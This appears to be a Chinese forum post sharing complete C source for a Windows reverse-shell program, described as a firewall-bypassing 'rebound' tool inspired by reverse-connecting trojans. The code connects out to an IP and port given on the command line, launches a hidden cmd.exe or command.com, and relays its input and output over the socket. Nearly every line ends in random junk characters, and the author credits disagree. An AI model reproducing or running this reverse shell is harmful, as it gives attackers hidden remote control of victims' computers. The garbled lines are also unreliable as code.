这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =o
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/* ============================== v 0
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Rebound port in Windows NT n1JRDw"e$$
By wind,2006/7 Ey_" ~OB
===============================*/ ZYI{i?Te#
#include 74H)|Dkx
#include %70~M_
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#pragma comment(lib,"wsock32.lib") PK;*u,V
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void OutputShell(); 7l'6gg
SOCKET sClient; )^m%i]L_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aa?w:3
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void main(int argc,char **argv) bu
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{ )f}YW/'
WSADATA stWsaData; "B=
int nRet; }!;s.[y
SOCKADDR_IN stSaiClient,stSaiServer; p;._HJ(
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if(argc != 3) %ZNI:Uh
{ z54EG:x.7^
printf("Useage:\n\rRebound DestIP DestPort\n"); 2@9Tfm(=
return; ^.#jF#u~
} J/\V%~
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pf|siC^;s~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }2(,K[?
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stSaiClient.sin_family = AF_INET; N$h{Yvbn
stSaiClient.sin_port = htons(0); &0NFb^8+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j<u@j+V
{ vg
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printf("Bind Socket Failed!\n"); OlAs'TE^
return; Q?3Gk%T0[
} *"D3E7AO
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stSaiServer.sin_family = AF_INET; oX0 D
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >}!mQ pAO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OJ/,pLYu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }D7I3]2>
{ >;L6xt3
printf("Connect Error!"); MO&}r7qq
return; h v8P4"i v
} %%NlTE8*
OutputShell(); o>/YAX:.!T
} V>ieh2G(
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void OutputShell() '<rZm=48
{ >iD )eB
char szBuff[1024]; #gp,V#T
SECURITY_ATTRIBUTES stSecurityAttributes; MKy[hT:
OSVERSIONINFO stOsversionInfo; }*lUah,@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aCQ?fq
STARTUPINFO stStartupInfo; T(e!_VY|m
char *szShell; 3T"j)R_=l
PROCESS_INFORMATION stProcessInformation; 2C/$Ei^t
unsigned long lBytesRead; #Yr9AVr}K
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4T!+D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lD"(MQV@0
stSecurityAttributes.lpSecurityDescriptor = 0; sYjpU
stSecurityAttributes.bInheritHandle = TRUE; O>^C4c!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T{Sb^-H#X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fb7#<h
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kMtwiB|7j
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F'B8v3
stStartupInfo.wShowWindow = SW_HIDE; J]&y$?C
stStartupInfo.hStdInput = hReadPipe; 6
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LM7$}#$R
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GetVersionEx(&stOsversionInfo); }z\_;\7
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switch(stOsversionInfo.dwPlatformId) J(c{y]` J
{ YN`H
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case 1: ~v]!+`_J
szShell = "command.com"; jFA{+Yr1
break;
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default: CAcS~ "
szShell = "cmd.exe"; MxY/`9>E|+
break; ~.UrL(l=
} 4eikLRD,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A8pIs
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send(sClient,szMsg,77,0); {_S}H1,
while(1) gF$V$cU
{ Aj2OkD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f}1&HI8r
if(lBytesRead) =0G!f$7^i
{ qe!fk?T}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =Qgt${|
send(sClient,szBuff,lBytesRead,0); h"_~7jq"
} =!`j7#:
else DdVF,
{ X LL/4 )
lBytesRead=recv(sClient,szBuff,1024,0); ;PjQt=4K
if(lBytesRead<=0) break; &2 `F n!m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sFQ^2PwbS
} M-[$L XR
} %*&UJpbA
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return; U2`'qsR1
}